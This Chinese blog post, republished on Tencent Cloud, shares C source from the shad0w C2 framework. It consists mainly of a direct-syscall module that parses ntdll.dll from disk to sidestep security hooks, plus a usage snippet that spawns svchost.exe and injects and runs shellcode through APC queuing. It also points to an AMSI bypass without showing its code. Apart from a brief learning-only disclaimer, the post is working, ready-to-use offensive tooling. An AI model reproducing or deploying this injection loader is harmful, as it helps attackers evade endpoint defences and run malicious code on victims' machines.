前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >C2基石--syscall模块及amsi bypass

C2基石--syscall模块及amsi bypass

作者头像
鸿鹄实验室
发布2021-08-25 10:18:50
6550
发布2021-08-25 10:18:50
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

最近读了一些C2的源码,其中shad0w的syscall模块具有很高的移植性,分享给有需要的朋友。

syscall.h

代码语言:javascript
复制
#include <windows.h>

#define SYSCALL_STUB_SIZE 23
#define NTDLL_PATH "C:\\Windows\\System32\\ntdll.dll"

typedef NTSTATUS (NTAPI * _NtAllocateVirtualMemory) (
    HANDLE    ProcessHandle,
    PVOID*    BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T   RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
);

typedef NTSTATUS (NTAPI * _NtProtectVirtualMemory) (
    HANDLE  ProcessHandle,
    PVOID*  BaseAddress,
    PSIZE_T NumberOfBytesToProtect,
    ULONG   NewAccessProtection,
    PULONG  OldAccessProtection
);

typedef NTSTATUS (NTAPI * _NtWriteVirtualMemory) (
    HANDLE ProcessHandle,
    PVOID  BaseAddress,
    PVOID  Buffer,
    ULONG  BufferSize,
    PULONG NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI * _NtQueueApcThread) (
    HANDLE          ThreadHandle,
    PIO_APC_ROUTINE ApcRoutine,
    PVOID           NormalContext,
    PVOID           SystemArgument1,
    PVOID           SystemArgument2
);

typedef NTSTATUS (NTAPI * _NtAlertResumeThread) (
    HANDLE ThreadHandle,
    PULONG SuspendCount
);

typedef NTSTATUS (NTAPI * _NtOpenProcess) (
    PHANDLE            ProcessHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    CLIENT_ID*         ClientId
);

typedef NTSTATUS (NTAPI * _NtOpenThread) (
    PHANDLE            ThreadHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID         ClientId
);

typedef NTSTATUS (NTAPI * _NtSuspendThread)(
    HANDLE ThreadHandle
);

typedef NTSTATUS (NTAPI * _NtGetContextThread)(
    HANDLE ThreadHandle,
    PCONTEXT Context
);

typedef NTSTATUS (NTAPI * _NtSetContextThread)(
    HANDLE ThreadHandle,
    PCONTEXT Context
);

typedef NTSTATUS (NTAPI * _NtResumeThread)(
    HANDLE ThreadHandle
);


struct NtInfo
{
  PIMAGE_EXPORT_DIRECTORY pExprtDir;
  LPVOID          lpRawData;
  PIMAGE_SECTION_HEADER  pTextSection;
  PIMAGE_SECTION_HEADER  pRdataSection;
  CHAR            cSyscallStub;
};

struct Syscalls
{
  _NtAllocateVirtualMemory NtAllocateVirtualMemory;
    _NtProtectVirtualMemory  NtProtectVirtualMemory;
    _NtWriteVirtualMemory    NtWriteVirtualMemory;
    _NtQueueApcThread        NtQueueApcThread;
    _NtOpenProcess           NtOpenProcess;
    _NtOpenThread            NtOpenThread;
    _NtSuspendThread         NtSuspendThread;
    _NtGetContextThread      NtGetContextThread;
    _NtSetContextThread      NtSetContextThread;
    _NtResumeThread          NtResumeThread;
};

extern CHAR SyscallStub[SYSCALL_STUB_SIZE];

syscall.h

代码语言:javascript
复制
#include <windows.h>
#include <ntdef.h>
#include <tlhelp32.h>
#include <winternl.h>

#include "syscalls.h"

CHAR SyscallStub[SYSCALL_STUB_SIZE] = {};

PVOID RVAtoRawOffset(DWORD_PTR RVA, PIMAGE_SECTION_HEADER section)
{
  return (PVOID)(RVA - section->VirtualAddress + section->PointerToRawData);
}

BOOL MakeSyscall(LPCSTR functionName, PIMAGE_EXPORT_DIRECTORY exportDirectory, LPVOID fileData, PIMAGE_SECTION_HEADER textSection, PIMAGE_SECTION_HEADER rdataSection, LPVOID syscallStub)
{
    DWORD  dwOldProc             = 0;
  PDWORD pdwAddressOfNames     = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfNames), rdataSection);
  PDWORD pdwAddressOfFunctions = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfFunctions), rdataSection);
  BOOL   bStubFound            = FALSE;

  for (size_t i = 0; i < exportDirectory->NumberOfNames; i++)
  {
    DWORD_PTR functionNameVA    = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + pdwAddressOfNames[i], rdataSection);
    DWORD_PTR functionVA        = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + pdwAddressOfFunctions[i + 1], textSection);
    LPCSTR functionNameResolved = (LPCSTR)functionNameVA;

    if (strcmp(functionNameResolved, functionName) == 0)
    {
      memcpy((LPVOID)syscallStub, (LPVOID)functionVA, SYSCALL_STUB_SIZE);
            VirtualProtect((LPVOID)syscallStub, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProc);
      bStubFound = TRUE;
    }
  }

  return bStubFound;
}

VOID CleanSyscall(LPVOID syscallStub)
{
    DWORD dwOldProc   = 0;
    CHAR* pcOverWrite = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

    VirtualProtect((LPVOID)syscallStub, SYSCALL_STUB_SIZE, PAGE_READWRITE, &dwOldProc);
    memcpy((LPVOID)syscallStub, (LPVOID)pcOverWrite, SYSCALL_STUB_SIZE);

    return;
}

VOID ParseNtdll(struct NtInfo *NtdllInfo, struct Syscalls *SyscallTable)
{
    HANDLE hFile;
    DWORD  dwFileSize;
    LPVOID lpFileData;
    DWORD  dwBytesRead;

    DWORD dwOldProc                       = 0;

    SyscallTable->NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)(LPVOID)SyscallStub;
    SyscallTable->NtProtectVirtualMemory  = (_NtProtectVirtualMemory)(LPVOID)SyscallStub;
    SyscallTable->NtWriteVirtualMemory    = (_NtWriteVirtualMemory)(LPVOID)SyscallStub;
    SyscallTable->NtQueueApcThread        = (_NtQueueApcThread)(LPVOID)SyscallStub;
    SyscallTable->NtOpenProcess           = (_NtOpenProcess)(LPVOID)SyscallStub;
    SyscallTable->NtOpenThread            = (_NtOpenThread)(LPVOID)SyscallStub;
    SyscallTable->NtSuspendThread         = (_NtSuspendThread)(LPVOID)SyscallStub;
    SyscallTable->NtGetContextThread      = (_NtGetContextThread)(LPVOID)SyscallStub;
    SyscallTable->NtSetContextThread      = (_NtSetContextThread)(LPVOID)SyscallStub;
    SyscallTable->NtResumeThread          = (_NtResumeThread)(LPVOID)SyscallStub;

    VirtualProtect(SyscallStub, SYSCALL_STUB_SIZE, PAGE_READWRITE, &dwOldProc);

    hFile                = CreateFileA(NTDLL_PATH, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    dwFileSize           = GetFileSize(hFile, NULL);
    NtdllInfo->lpRawData = HeapAlloc(GetProcessHeap(), 0, dwFileSize);

    ReadFile(hFile, NtdllInfo->lpRawData, dwFileSize, &dwBytesRead, NULL);

    PIMAGE_DOS_HEADER dosHeader      = (PIMAGE_DOS_HEADER)NtdllInfo->lpRawData;
  PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)NtdllInfo->lpRawData + dosHeader->e_lfanew);
  DWORD dwExportDirRVA             = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_SECTION_HEADER section    = IMAGE_FIRST_SECTION(imageNTHeaders);
  NtdllInfo->pTextSection          = section;
  NtdllInfo->pRdataSection         = section;

    for (INT i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
  {
        if (strncmp(section->Name, ".rdata", 6) == NULL)
        {
            NtdllInfo->pRdataSection = section;
            break;
        }
        section++;
    }

    NtdllInfo->pExprtDir = (PIMAGE_EXPORT_DIRECTORY)RVAtoRawOffset((DWORD_PTR)NtdllInfo->lpRawData + dwExportDirRVA, NtdllInfo->pRdataSection);
}

调用方法:

代码语言:javascript
复制
#include "syscalls.h"

 RtlGetVersion(&osInfo);
       CreateProcessA("C:\\Windows\\system32\\svchost.exe", NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sInfo, &pInfo);

        LPVOID rBuffer = NULL;
        struct NtInfo NtdllInfo;
        struct Syscalls rSyscall;
        SIZE_T uSize = (SIZE_T)Size;

        ParseNtdll(&NtdllInfo, &rSyscall);

        // alloc the memory we need inside the process
        MakeSyscall("NtAllocateVirtualMemory", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtAllocateVirtualMemory(pInfo.hProcess, &rBuffer, 0, &uSize, (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
        CleanSyscall(SyscallStub);

        // write our shellcode bytes to the process
        MakeSyscall("NtWriteVirtualMemory", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtWriteVirtualMemory(pInfo.hProcess, rBuffer, Bytes, Size, NULL);
        CleanSyscall(SyscallStub);

        // change the permisions on the memory so we can execute it
        MakeSyscall("NtProtectVirtualMemory", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtProtectVirtualMemory(pInfo.hProcess, &rBuffer, &uSize, PAGE_EXECUTE_READWRITE, &oProc);
        CleanSyscall(SyscallStub);

        // execute the code inside the process
        MakeSyscall("NtQueueApcThread", NtdllInfo.pExprtDir, NtdllInfo.lpRawData, NtdllInfo.pTextSection, NtdllInfo.pRdataSection, SyscallStub);
        rSyscall.NtQueueApcThread(pInfo.hThread, (PIO_APC_ROUTINE)rBuffer, NULL, NULL, NULL);
        CleanSyscall(SyscallStub);

以及一个目前过amsi且全球静态可过的方法,来源

https://twitter.com/TihanyiNorbert/status/1278078606737096704/photo/1:

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-08-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档